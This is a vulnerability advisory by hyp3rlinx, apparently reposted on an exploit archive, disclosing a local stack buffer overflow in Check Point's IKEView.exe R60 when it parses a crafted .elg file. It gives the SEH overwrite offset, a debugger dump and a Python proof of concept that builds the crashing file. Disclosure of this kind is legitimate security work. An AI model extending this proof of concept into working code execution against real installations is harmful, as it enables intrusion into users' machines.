IKEView.exe R60 - Stack Buffer Overflow Vulnerability

[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-IKEVIEWR60-0914.txt
 
Vendor:
================================
www.checkpoint.com
http://pingtool.org/downloads/IKEView.exe

Product:
==================================================
IKEView.exe Feature Pack NGX R60 - Build 591000004
 
IKEVIew.EXE is used to inspect - internet private key exchanges on the
Firewall
phase(1 & 2) packets being exchanged with switches and gateways.

IKEVIEW is a Checkpoint Partner tool available for VPN troubleshooting
purposes.
It is a Windows executable that can be downloaded from Checkpoint.com.
This file parses the IKE.elg file located on the firewall.
 
To use IKEVIEW for VPN troubleshooting do the following:
 
1. From the checkpoint firewall type the following:
 
vpn debug ikeon
 
This will create the IKE.elg file located in $FWDIR/log

2. Attempt to establish the VPN tunnel. All phases of the connection will
be logged to the IKE.elg file.

3. SCP the file to your local desktop.
WINSCP works great
 
4. Launch IKEVIEW and select File>Open. Browse to the IKE.elg file.

 
Vulnerability Type:
======================
Stack Buffer Overflow

Vulnerability Details:
=====================
IKEView.exe is vulnerable to local stack based buffer overflow when parsing
an malicious (internet key exchange) ".elg" file.
Vulnerability causes nSEH & SEH pointer overwrites at 4432 bytes after
IKEView parses our malicious file, which may result then
result in arbitrary attacker supplied code execution.
 
Tested on Windows SP1
 
 
0018F868  |41414141  AAAA
0018F86C  |01FC56D0  ÐVü  ASCII "File loaded in 47 minutes, 00 seconds."
0018F870  |41414141  AAAA
0018F874  |41414141  AAAA  Pointer to next SEH record
0018F878  |42424242  BBBB  SE handler
0018F87C  |00000002   ...
 
 
Quick Buffer Overflow POC :
===========================
 
 
1) Below python file to create POC save as .py it will generate POC file,
open in IKEView.exe and KABOOOOOOOOOOOOOOOOOOOOM!
 
seh="B"*4 #<----------will overwrite SEH with bunch of 42's HEX for 'B'
ASCII char.
 
file="C:\\IKEView-R60-buffer-overflow.elg"
x=open(file,"w")
payload="A"*4428+seh
x.write(payload)
x.close()
 
print "\n=======================================\n"
print " IKEView-R60-buffer-overflow.elg file created\n"
print " hyp3rlinx ..."
print "=========================================\n"
 

Description:
==========================================================
 
Vulnerable Product:             [+] IKEView.exe Feature Pack NGX R60 -
Build 591000004
Vulnerable File Type:           [+] .elg
Affected Area(s):               [+] Local OS

#  0day.today [2018-01-05]  #